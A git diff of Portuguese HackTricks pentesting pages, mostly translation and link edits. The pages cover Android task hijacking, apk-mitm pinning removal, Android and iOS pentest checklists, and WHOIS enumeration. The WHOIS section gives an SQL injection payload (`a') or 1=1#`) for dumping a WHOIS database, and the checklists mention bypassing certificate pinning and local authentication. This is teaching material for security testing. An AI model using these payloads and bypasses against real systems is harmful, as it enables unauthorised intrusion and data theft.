@ -57,7 +57,7 @@ Para uma implementação prática deste ataque, consulte o repositório Task Hij
|
||||||
|
|
||||||
### Medidas de Prevenção
|
### Medidas de Prevenção
|
||||||
|
|
||||||
Para prevenir tais ataques, os desenvolvedores podem definir `taskAffinity` como uma string vazia e optar pelo modo de lançamento `singleInstance`, garantindo o isolamento de seu aplicativo dos outros. Personalizar a função `onBackPressed()` oferece proteção adicional contra o sequestro de tarefas.
|
Para prevenir tais ataques, os desenvolvedores podem definir `taskAffinity` como uma string vazia e optar pelo modo de lançamento `singleInstance`, garantindo o isolamento de seu aplicativo dos outros. Personalizar a função `onBackPressed()` oferece proteção adicional contra sequestro de tarefas.
|
||||||
|
|
||||||
## **Referências**
|
## **Referências**
|
||||||
|
|
||||||
|
@ -66,7 +66,7 @@ Para prevenir tais ataques, os desenvolvedores podem definir `taskAffinity` como
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -14,7 +14,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -24,7 +24,7 @@ Algumas aplicações não aceitam certificados baixados pelo usuário, então, p
|
||||||
|
|
||||||
# Automático
|
# Automático
|
||||||
|
|
||||||
A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) fará as alterações necessárias na aplicação para começar a capturar as solicitações e também desabilitará o pinning de certificados (se houver).
|
A ferramenta [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) irá **automaticamente** fazer as alterações necessárias na aplicação para começar a capturar as solicitações e também desabilitará o pinning de certificados (se houver).
|
||||||
|
|
||||||
# Manual
|
# Manual
|
||||||
|
|
||||||
|
@ -62,23 +62,3 @@ Em seguida, salve o arquivo e saia de todos os diretórios e reconstrua o apk co
|
||||||
![](../../.gitbook/assets/img12.png)
|
![](../../.gitbook/assets/img12.png)
|
||||||
|
|
||||||
Por fim, você só precisa **assinar a nova aplicação**. [Leia esta seção da página Smali - Decompilando/\[Modificando\]/Compilando para aprender como assiná-la](smali-changes.md#sing-the-new-apk).
|
Por fim, você só precisa **assinar a nova aplicação**. [Leia esta seção da página Smali - Decompilando/\[Modificando\]/Compilando para aprender como assiná-la](smali-changes.md#sing-the-new-apk).
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -14,7 +14,7 @@
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -22,7 +22,7 @@
|
||||||
|
|
||||||
### [Aprenda os fundamentos do Android](android-app-pentesting/#2-android-application-fundamentals)
|
### [Aprenda os fundamentos do Android](android-app-pentesting/#2-android-application-fundamentals)
|
||||||
|
|
||||||
* [ ] [Noções básicas](android-app-pentesting/#fundamentals-review)
|
* [ ] [Básicos](android-app-pentesting/#fundamentals-review)
|
||||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||||
* [ ] [Pontos de entrada](android-app-pentesting/#application-entry-points)
|
* [ ] [Pontos de entrada](android-app-pentesting/#application-entry-points)
|
||||||
* [ ] [Atividades](android-app-pentesting/#launcher-activity)
|
* [ ] [Atividades](android-app-pentesting/#launcher-activity)
|
||||||
|
@ -65,7 +65,7 @@
|
||||||
* [ ] Serviços expostos exploráveis
|
* [ ] Serviços expostos exploráveis
|
||||||
* [ ] Receptores de Transmissão exploráveis
|
* [ ] Receptores de Transmissão exploráveis
|
||||||
* [ ] O aplicativo está transmitindo informações em texto claro/usando algoritmos fracos? É possível um ataque Man-in-the-Middle?
|
* [ ] O aplicativo está transmitindo informações em texto claro/usando algoritmos fracos? É possível um ataque Man-in-the-Middle?
|
||||||
* [ ] [Inspeção do tráfego HTTP/HTTPS](android-app-pentesting/#inspecting-http-traffic)
|
* [ ] Inspecionar tráfego HTTP/HTTPS
|
||||||
* [ ] Isso é realmente importante, porque se você pode capturar o tráfego HTTP, pode procurar por vulnerabilidades comuns na Web (Hacktricks tem muitas informações sobre vulnerabilidades na Web).
|
* [ ] Isso é realmente importante, porque se você pode capturar o tráfego HTTP, pode procurar por vulnerabilidades comuns na Web (Hacktricks tem muitas informações sobre vulnerabilidades na Web).
|
||||||
* [ ] Verifique possíveis [Injeções do Lado do Cliente Android](android-app-pentesting/#android-client-side-injections-and-others) (provavelmente alguma análise de código estático ajudará aqui)
|
* [ ] Verifique possíveis [Injeções do Lado do Cliente Android](android-app-pentesting/#android-client-side-injections-and-others) (provavelmente alguma análise de código estático ajudará aqui)
|
||||||
* [ ] [Frida](android-app-pentesting/#frida): Apenas Frida, use-o para obter dados dinâmicos interessantes do aplicativo (talvez algumas senhas...)
|
* [ ] [Frida](android-app-pentesting/#frida): Apenas Frida, use-o para obter dados dinâmicos interessantes do aplicativo (talvez algumas senhas...)
|
||||||
|
@ -77,7 +77,7 @@
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -4,7 +4,7 @@
|
||||||
|
|
||||||
\
|
\
|
||||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
||||||
Acesse hoje:
|
Acesse hoje mesmo:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
@ -14,17 +14,17 @@ Acesse hoje:
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -34,53 +34,53 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* [ ] Leia [**Noções Básicas do iOS**](ios-pentesting/ios-basics.md)
|
* [ ] Leia [**Noções Básicas do iOS**](ios-pentesting/ios-basics.md)
|
||||||
* [ ] Prepare seu ambiente lendo [**Ambiente de Teste iOS**](ios-pentesting/ios-testing-environment.md)
|
* [ ] Prepare seu ambiente lendo [**Ambiente de Teste iOS**](ios-pentesting/ios-testing-environment.md)
|
||||||
* [ ] Leia todas as seções de [**Análise Inicial do iOS**](ios-pentesting/#initial-analysis) para aprender ações comuns para pentestear um aplicativo iOS
|
* [ ] Leia todas as seções de [**Análise Inicial do iOS**](ios-pentesting/#initial-analysis) para aprender ações comuns para pentest em um aplicativo iOS
|
||||||
|
|
||||||
### Armazenamento de Dados
|
### Armazenamento de Dados
|
||||||
|
|
||||||
* [ ] Os [**arquivos Plist**](ios-pentesting/#plist) podem ser usados para armazenar informações sensíveis.
|
* [ ] Os arquivos [**Plist**](ios-pentesting/#plist) podem ser usados para armazenar informações sensíveis.
|
||||||
* [ ] O [**Core Data**](ios-pentesting/#core-data) (banco de dados SQLite) pode armazenar informações sensíveis.
|
* [ ] O [**Core Data**](ios-pentesting/#core-data) (banco de dados SQLite) pode armazenar informações sensíveis.
|
||||||
* [ ] Os [**Bancos de Dados Yap**](ios-pentesting/#yapdatabase) (banco de dados SQLite) podem armazenar informações sensíveis.
|
* [ ] Os [**Bancos de Dados Yap**](ios-pentesting/#yapdatabase) (banco de dados SQLite) podem armazenar informações sensíveis.
|
||||||
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) com configuração incorreta.
|
* [ ] [**Firebase**](ios-pentesting/#firebase-real-time-databases) com configuração incorreta.
|
||||||
* [ ] Os [**bancos de dados Realm**](ios-pentesting/#realm-databases) podem armazenar informações sensíveis.
|
* [ ] Os [**bancos de dados Realm**](ios-pentesting/#realm-databases) podem armazenar informações sensíveis.
|
||||||
* [ ] Os [**bancos de dados Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) podem armazenar informações sensíveis.
|
* [ ] Os [**bancos de dados Couchbase Lite**](ios-pentesting/#couchbase-lite-databases) podem armazenar informações sensíveis.
|
||||||
* [ ] Os [**cookies binários**](ios-pentesting/#cookies) podem armazenar informações sensíveis.
|
* [ ] Os [**cookies binários**](ios-pentesting/#cookies) podem armazenar informações sensíveis.
|
||||||
* [ ] Os dados de [**cache**](ios-pentesting/#cache) podem armazenar informações sensíveis.
|
* [ ] Os dados de **cache** podem armazenar informações sensíveis.
|
||||||
* [ ] Os [**instantâneos automáticos**](ios-pentesting/#snapshots) podem salvar informações visuais sensíveis.
|
* [ ] Os **snapshots automáticos** podem salvar informações visuais sensíveis.
|
||||||
* [ ] O [**Keychain**](ios-pentesting/#keychain) é geralmente usado para armazenar informações sensíveis que podem ser deixadas ao revender o telefone.
|
* [ ] O **Keychain** é geralmente usado para armazenar informações sensíveis que podem ser deixadas ao revender o telefone.
|
||||||
* [ ] Em resumo, apenas **verifique se há informações sensíveis salvas pelo aplicativo no sistema de arquivos**
|
* [ ] Em resumo, apenas **verifique se há informações sensíveis salvas pelo aplicativo no sistema de arquivos**
|
||||||
|
|
||||||
### Teclados
|
### Teclados
|
||||||
|
|
||||||
* [ ] O aplicativo [**permite o uso de teclados personalizados**](ios-pentesting/#custom-keyboards-keyboard-cache)?
|
* [ ] O aplicativo **permite o uso de teclados personalizados**?
|
||||||
* [ ] Verifique se informações sensíveis são salvas nos [**arquivos de cache dos teclados**](ios-pentesting/#custom-keyboards-keyboard-cache)
|
* [ ] Verifique se informações sensíveis são salvas nos **arquivos de cache dos teclados**
|
||||||
|
|
||||||
### **Logs**
|
### **Logs**
|
||||||
|
|
||||||
* [ ] Verifique se [**informações sensíveis estão sendo registradas**](ios-pentesting/#logs)
|
* [ ] Verifique se **informações sensíveis estão sendo registradas**
|
||||||
|
|
||||||
### Backups
|
### Backups
|
||||||
|
|
||||||
* [ ] Os [**backups**](ios-pentesting/#backups) podem ser usados para **acessar as informações sensíveis** salvas no sistema de arquivos (verifique o ponto inicial desta lista de verificação)
|
* [ ] Os **backups** podem ser usados para **acessar as informações sensíveis** salvas no sistema de arquivos (verifique o ponto inicial desta lista de verificação)
|
||||||
* [ ] Além disso, os [**backups**](ios-pentesting/#backups) podem ser usados para **modificar algumas configurações do aplicativo**, então **restaurar** o backup no telefone e, como a **configuração modificada** é **carregada**, alguma (funcionalidade de segurança) pode ser **burlada**
|
* [ ] Além disso, os **backups** podem ser usados para **modificar algumas configurações do aplicativo**, então **restaure** o backup no telefone e, como a **configuração modificada** é **carregada**, alguma (funcionalidade de segurança) pode ser **burlada**
|
||||||
|
|
||||||
### **Memória do Aplicativo**
|
### **Memória do Aplicativo**
|
||||||
|
|
||||||
* [ ] Verifique se há informações sensíveis dentro da [**memória do aplicativo**](ios-pentesting/#testing-memory-for-sensitive-data)
|
* [ ] Verifique se há informações sensíveis dentro da **memória do aplicativo**
|
||||||
|
|
||||||
### **Criptografia Quebrada**
|
### **Criptografia Quebrada**
|
||||||
|
|
||||||
* [ ] Verifique se você pode encontrar [**senhas usadas para criptografia**](ios-pentesting/#broken-cryptography)
|
* [ ] Verifique se é possível encontrar **senhas usadas para criptografia**
|
||||||
* [ ] Verifique o uso de [**algoritmos obsoletos/fracos**](ios-pentesting/#broken-cryptography) para enviar/armazenar dados sensíveis
|
* [ ] Verifique o uso de algoritmos **obsoletos/fracos** para enviar/armazenar dados sensíveis
|
||||||
* [ ] [**Intercepte e monitore funções de criptografia**](ios-pentesting/#broken-cryptography)
|
* [ ] **Intercepte e monitore funções de criptografia**
|
||||||
|
|
||||||
### **Autenticação Local**
|
### **Autenticação Local**
|
||||||
|
|
||||||
* [ ] Se uma [**autenticação local**](ios-pentesting/#local-authentication) é usada no aplicativo, verifique como a autenticação está funcionando.
|
* [ ] Se uma **autenticação local** é usada no aplicativo, verifique como a autenticação está funcionando.
|
||||||
* [ ] Se estiver usando o [**Framework de Autenticação Local**](ios-pentesting/#local-authentication-framework), ela pode ser facilmente burlada
|
* [ ] Se estiver usando o **Framework de Autenticação Local**, pode ser facilmente burlado
|
||||||
* [ ] Se estiver usando uma [**função que pode ser burlada dinamicamente**](ios-pentesting/#local-authentication-using-keychain), você pode criar um script frida personalizado
|
* [ ] Se estiver usando uma **função que pode ser burlada dinamicamente**, você pode criar um script frida personalizado
|
||||||
|
|
||||||
### Exposição de Funcionalidade Sensível por IPC
|
### Exposição de Funcionalidade Sensível por meio de IPC
|
||||||
|
|
||||||
* [**Manipuladores de URI Personalizados / Deep Links / Esquemas Personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
* [**Manipuladores de URI Personalizados / Deep Links / Esquemas Personalizados**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||||
* [ ] Verifique se o aplicativo está **registrando algum protocolo/esquema**
|
* [ ] Verifique se o aplicativo está **registrando algum protocolo/esquema**
|
||||||
|
@ -109,17 +109,17 @@ Outras formas de apoiar o HackTricks:
|
||||||
### Comunicação de Rede
|
### Comunicação de Rede
|
||||||
|
|
||||||
* [ ] Realize um [**MitM na comunicação**](ios-pentesting/#network-communication) e procure por vulnerabilidades web.
|
* [ ] Realize um [**MitM na comunicação**](ios-pentesting/#network-communication) e procure por vulnerabilidades web.
|
||||||
* [ ] Verifique se o [**nome do host do certificado**](ios-pentesting/#hostname-check) é verificado.
|
* [ ] Verifique se o [**hostname do certificado**](ios-pentesting/#hostname-check) é verificado.
|
||||||
* [ ] Verifique/Burla o [**Pinning de Certificado**](ios-pentesting/#certificate-pinning)
|
* [ ] Verifique/Burla o [**Certificate Pinning**](ios-pentesting/#certificate-pinning)
|
||||||
|
|
||||||
### **Diversos**
|
### **Diversos**
|
||||||
|
|
||||||
* [ ] Verifique os mecanismos de [**atualização/patching automático**](ios-pentesting/#hot-patching-enforced-updateing).
|
* [ ] Verifique os mecanismos de [**atualização/patching automático**](ios-pentesting/#hot-patching-enforced-updateing)
|
||||||
* [ ] Verifique a presença de [**bibliotecas de terceiros maliciosas**](ios-pentesting/#third-parties).
|
* [ ] Verifique por [**bibliotecas de terceiros maliciosas**](ios-pentesting/#third-parties)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -129,10 +129,10 @@ Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -140,7 +140,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias mais avançadas do mundo.\
|
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||||
Tenha Acesso Hoje:
|
Tenha Acesso Hoje:
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
|
@ -8,13 +8,13 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
**Grupo de Segurança Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -31,16 +31,16 @@ PORT STATE SERVICE
|
||||||
```
|
```
|
||||||
# Enumerar
|
# Enumerar
|
||||||
|
|
||||||
Obtenha todas as informações que um serviço whois possui sobre um domínio:
|
Obtenha todas as informações que um serviço de whois possui sobre um domínio:
|
||||||
```bash
|
```bash
|
||||||
whois -h <HOST> -p <PORT> "domain.tld"
|
whois -h <HOST> -p <PORT> "domain.tld"
|
||||||
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
echo "domain.ltd" | nc -vn <HOST> <PORT>
|
||||||
```
|
```
|
||||||
Observe que às vezes, ao solicitar informações a um serviço WHOIS, o banco de dados sendo usado aparece na resposta:
|
Às vezes, ao solicitar informações a um serviço WHOIS, o banco de dados sendo usado aparece na resposta:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (147).png>)
|
![](<../.gitbook/assets/image (147).png>)
|
||||||
|
|
||||||
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** pode estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia ser capaz de **extrair todas** as **informações** salvas no banco de dados.
|
Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para armazenar e extrair as informações. Portanto, uma possível **SQLInjection** poderia estar presente ao **consultar** o banco de dados a partir de algumas informações fornecidas pelo usuário. Por exemplo, ao fazer: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` você poderia ser capaz de **extrair todas** as **informações** salvas no banco de dados.
|
||||||
|
|
||||||
# Shodan
|
# Shodan
|
||||||
|
|
||||||
|
@ -48,7 +48,7 @@ Além disso, o serviço WHOIS sempre precisa usar um **banco de dados** para arm
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
|
|
@ -1,28 +1,4 @@
|
||||||
# 49 - Pentesting TACACS+
|
# Informações Básicas
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
||||||
**Grupo de Segurança Try Hard**
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Informações Básicas
|
|
||||||
|
|
||||||
